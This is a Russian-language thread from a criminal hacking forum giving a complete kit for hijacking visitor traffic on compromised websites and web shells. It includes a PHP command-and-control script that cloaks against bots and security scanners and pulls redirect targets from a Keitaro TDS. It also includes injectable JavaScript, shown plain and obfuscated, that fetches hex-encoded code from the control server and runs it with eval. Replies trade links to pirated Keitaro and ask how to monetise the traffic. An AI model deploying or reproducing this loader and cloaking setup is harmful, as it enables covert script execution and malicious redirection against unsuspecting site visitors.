• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Сливаем трафик с Сайтов/Дорвеев/Shells

QweRR

(L3) cache
Пользователь
Регистрация
05.02.2019
Сообщения
238
Реакции
404
Нам понадобится:
---
VPS под CC (Можно взять хостинг)
VPS под KeitaroTDS (Можно белый он не будет светится в Web)
KeitaroTDS
Тут бесплатно: https://exploitinqx4sjro.onion/topic/167835/
Тут платно: https://keitaro.io
Настройку хостов и кейтаро разбирайтесь сами, описывать не буду.
---

Скрипт CC:
Вам в нем нужно вписать данные Click Client v3 из тдс:
PHP:
$TDS_api_url = "http://demo-en.keitaro.io/api.php?";
$Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb";
Файл pixel.php - на него будут запросы из JS.
По дефолту перед запросами в тдс идет клоака: https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/35415/
PHP:
<?php

error_reporting(0);

header("Access-Control-Allow-Origin: *");

$TDS_api_url = "http://demo-en.keitaro.io/api.php?";
$Click_API_token = "2v3cfjwlcztbkpgrhcsmtzf68wz2tzkb";
$CHECK_IPS_KEY = "key_free";

function bad_reguest(){exit();}

###
$GLOBAL_IP = $_SERVER['REMOTE_ADDR'];
$GLOBAL_UA = urlencode($_SERVER['HTTP_USER_AGENT']);
#
$CHECK_IPS_API_BOT = "http://checkbot.check-ips.net/".$CHECK_IPS_KEY."/ip/".$GLOBAL_IP;
###

if( ### Check USER_AGENT

    strpos($GLOBAL_UA, urlencode('http://')) !== false ||
    strpos($GLOBAL_UA, urlencode('Catchpoint')) !== false ||
    strpos($GLOBAL_UA, urlencode('Python')) !== false ||
    strpos($GLOBAL_UA, urlencode('Crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('Spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('crawler')) !== false ||
    strpos($GLOBAL_UA, urlencode('spider')) !== false ||
    strpos($GLOBAL_UA, urlencode('Bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('BOT')) !== false ||
    strpos($GLOBAL_UA, urlencode('bot')) !== false ||
    strpos($GLOBAL_UA, urlencode('ips-agent')) !== false ||
    strpos($GLOBAL_UA, urlencode('zgrab')) !== false ||
    strpos($GLOBAL_UA, urlencode('Netcraft')) !== false ||
    strpos($GLOBAL_UA, urlencode('BingPreview')) !== false ||
    strpos($GLOBAL_UA, urlencode('evc-batch')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wget')) !== false ||
    strpos($GLOBAL_UA, urlencode('CheckHost')) !== false ||
    strpos($GLOBAL_UA, urlencode('HostTracker')) !== false ||
    strpos($GLOBAL_UA, urlencode('Wappalyzer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Hstpnetwork')) !== false ||
    strpos($GLOBAL_UA, urlencode('Genieo')) !== false ||
    strpos($GLOBAL_UA, urlencode('Yahoo')) !== false ||
    strpos($GLOBAL_UA, urlencode('A6-Indexer')) !== false ||
    strpos($GLOBAL_UA, urlencode('Windows NT 5.2')) !== false
    #ADD MORE
 
){
    bad_reguest();
} else {
 
    if ( ### Check CHECK_IPS_API_BOT
    strpos(file_get_contents($CHECK_IPS_API_BOT), 'BOT') !== false
    ){
        bad_reguest();
    } else {
          
            require_once 'kclick_client.php';
            $client = new KClickClient($TDS_api_url, $Click_API_token);
            $client->ip($GLOBAL_IP);
            $header = $client->getHeaders();
            $header_url = $header[0];
            $header_url = preg_replace('/LOCATION: /', '', $header_url);
            $header_url = preg_replace('/Location: /', '', $header_url);
            $go_url = $header_url;
            if(strpos($go_url, 'http') !== false) {
                function str2hex( $str ) {
                    return array_shift( unpack('H*', $str) );
                }
                $txt = 'window.location = "'.$go_url.'";';
                $hex = str2hex( $txt );
                echo $hex;
            } else {
                bad_reguest();
            }

    }
 
}

exit();

?>

Рядом с pixel.php должен лежать файл kclick_client.php
Он есть в тдс http://demo-en.keitaro.io/admin/?object=codePresets.downloadClient

Переходим к JS для ресурсов, var x_u = "https://URL_DOMAIN/pixel.php"; - пропишите свой URL до pixel.php
Не забываем сделать SSL-сертификат на домен CC.
JavaScript:
var x_u = "https://URL_DOMAIN/pixel.php";
function xhr_load(url) {
    var xhr = new XMLHttpRequest();
    xhr.onreadystatechange = function() {
        if (xhr.readyState == XMLHttpRequest.DONE) {
            if(xhr.status== 200 || xhr.status == 304){
                var rl = ""+xhr.responseText;
                function h2a(r){for(var t=r.toString(),n="",e=0;e<t.length&&"00"!==t.substr(e,2);e+=2)n+=String.fromCharCode(parseInt(t.substr(e,2),16));return n}
                if("null"!==rl&&void 0!==rl&&""!==rl){
                    eval(h2a(rl));
                } else {}
            }
        }
    }
    xhr.open('GET', url, true);
    xhr.send(null);
}
if (typeof localStorage !== 'undefined') {
    if (localStorage.getItem('_uis') !== '_uis'){
        localStorage.setItem("_uis", "_uis");
        xhr_load(x_u);
    }
}
Перед вставкой на сайт пропустите через обфускатор.
Вот бесплатный вариант:
На выходе будет такое:
JavaScript:
var _0xe095=["\x68\x74\x74\x70\x3A\x2F\x2F\x55\x52\x4C\x5F\x44\x4F\x4D\x41\x49\x4E\x2F\x70\x69\x78\x65\x6C\x2E\x70\x68\x70","\x6F\x6E\x72\x65\x61\x64\x79\x73\x74\x61\x74\x65\x63\x68\x61\x6E\x67\x65","\x72\x65\x61\x64\x79\x53\x74\x61\x74\x65","\x44\x4F\x4E\x45","\x73\x74\x61\x74\x75\x73","","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x6C\x65\x6E\x67\x74\x68","\x30\x30","\x73\x75\x62\x73\x74\x72","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6E\x75\x6C\x6C","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x75\x6E\x64\x65\x66\x69\x6E\x65\x64","\x5F\x75\x69\x73","\x67\x65\x74\x49\x74\x65\x6D","\x73\x65\x74\x49\x74\x65\x6D"];
var x_u=_0xe095[0];function xhr_load(_0xb0ecx3){var _0xb0ecx4= new XMLHttpRequest();_0xb0ecx4[_0xe095[1]]= function(){if(_0xb0ecx4[_0xe095[2]]== XMLHttpRequest[_0xe095[3]]){if(_0xb0ecx4[_0xe095[4]]== 200|| _0xb0ecx4[_0xe095[4]]== 304){var _0xb0ecx5=_0xe095[5]+ _0xb0ecx4[_0xe095[6]];function _0xb0ecx6(_0xb0ecx7){for(var _0xb0ecx8=_0xb0ecx7.toString(),_0xb0ecx9=_0xe095[5],_0xb0ecxa=0;_0xb0ecxa< _0xb0ecx8[_0xe095[7]]&& _0xe095[8]!== _0xb0ecx8[_0xe095[9]](_0xb0ecxa,2);_0xb0ecxa+= 2){_0xb0ecx9+= String[_0xe095[10]](parseInt(_0xb0ecx8[_0xe095[9]](_0xb0ecxa,2),16))};return _0xb0ecx9}if(_0xe095[11]!== _0xb0ecx5&& void(0)!== _0xb0ecx5&& _0xe095[5]!== _0xb0ecx5){eval(_0xb0ecx6(_0xb0ecx5))}else {}}}};_0xb0ecx4[_0xe095[13]](_0xe095[12],_0xb0ecx3,true);_0xb0ecx4[_0xe095[14]](null)}if( typeof localStorage!== _0xe095[15]){if(localStorage[_0xe095[17]](_0xe095[16])!== _0xe095[16]){localStorage[_0xe095[18]](_0xe095[16],_0xe095[16]);xhr_load(x_u)}}

Что получаем:

JS Выполнет проверку localStorage
Если доступно ставит куку localStorage (Чтоб не было кучи хитов/Проверка на уникальность),
После установки куки выполняет XMLHttpRequest запрос до CC,
Получает от CC закодированные в HEX данные, и делает eval.

CC Выполнет проверку на ботов,
Если все ок, делает запрос в TDS,
Получает из TDS домен для редиректа,
Кодирует редиркет в hex и отдает контент.
 
Последнее редактирование модератором:
годнота ?! на экспе та же самая версия кейтаро, что и у нас здесь?
http://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/29429/
Вроде как ничем :)
Лицензия получается Биз
 
На экспе Keitaro 9.7.2 NULLED, ну я к нуллед отношусь не очень, предпочитаю официальные.
Не забываем сделать SSL-сертификат на домен CC.
А сюда продублировать не можете? Нету на экспе некоторых(
 
А сюда продублировать не можете? Нету на экспе некоторых(
Старые версии нулек кейтаро не ахти. Вроде как. Хотя знаю кто на древней вроде сидел долгое время :cool:
Новые версии Кейтаро, уже так просто не нулятся. Это раздел не коммерчиский и предлогать тут что то не буду. Да и вообще, кто ищет тот всегда найдёт бесплатно.
p.s. И тут на форуме есть вроде как нулл Keitaro https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/29429/post-220314
Но разрабы начали банить такие нуллы, откатывают лицуху назад и вроде как ip заносят в бан
 
p.s. И тут на форуме есть вроде как нулл Keitaro https://xssforum7mmh3n56inuf2h73hvhnzobi7h2ytb3gvklrfqm7ut3xdnyd.onion/threads/29429/post-220314
Но разрабы начали банить такие нуллы, откатывают лицуху назад и вроде как ip заносят в бан
Так и есть( Думал может новый null особенный...
 
Подскажите кто в теме. Есть ли смысл такой трафик сливать на какие-нибудь партерки, а не на инсталлы? По логике с конвертом вообще беда должна быть
 
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх